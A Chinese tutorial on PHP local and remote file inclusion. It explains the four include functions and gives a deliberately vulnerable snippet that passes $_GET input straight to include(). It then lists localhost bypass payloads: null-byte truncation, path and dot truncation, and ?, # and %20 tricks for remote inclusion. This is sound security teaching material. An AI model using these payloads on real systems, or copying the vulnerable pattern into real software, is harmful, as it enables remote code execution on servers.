定义
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
利用函数
php中提供四个文件包含的函数,分别是include(),include_once(),require()和require_once()。这四个都可以进行文件包含,但有区别
require:找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本 include:找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行 include_once:此语句和include类似,唯一区别就是如果该文件中的代码已经被包含,则不会再次包含 require_once:此语句和require类似,唯一区别就是如果该文件中的代码已经被包含。则不会再次包含
本地文件包含
测试代码
<?php $filename = $_GET['filename']; include($filename); ?>
结果
本地文件包含绕过限制
%00截断
条件:magic_quotes_gpc = Off
php版本<5.3.4
payload:http://localhost/test.php?filename=phpinfo.php%00
路径长度截断
条件:windows,点号需要长于256
linux,长于4096
Windows下目录最大长度为256字节,超出的部分会被丢弃; Linux下目录最大长度为4096字节,超出的部分会被丢弃。
payload:http://localhost/test.php?filename=phpinfo.php/./././././././././././././././././././././././././././././././././././././././
点号截断
条件:windows OS,点号需要长于256
与路径长度截断类似,长度大于规定程度即可
payload:http://localhost/test.php?filename=phpinfo.php................................................................................
远程文件包含
测试代码
<?php $filename = $_GET['filename']; include($filename); ?>
漏洞前提条件:allow_url_include需要开启,允许url include
远程文件包含绕过限制
主要是利用了url的解析
?号绕过
http://localhost/test.php?filename=http://localhost:8080/php.txt?
#号绕过
http://localhost/test.php?filename=http://localhost:8080/php.txt#
空格绕过
http://localhost/test.php?filename=http://localhost:8080/php.txt%20
上面例子url都是http协议的,还有其他伪协议也可以,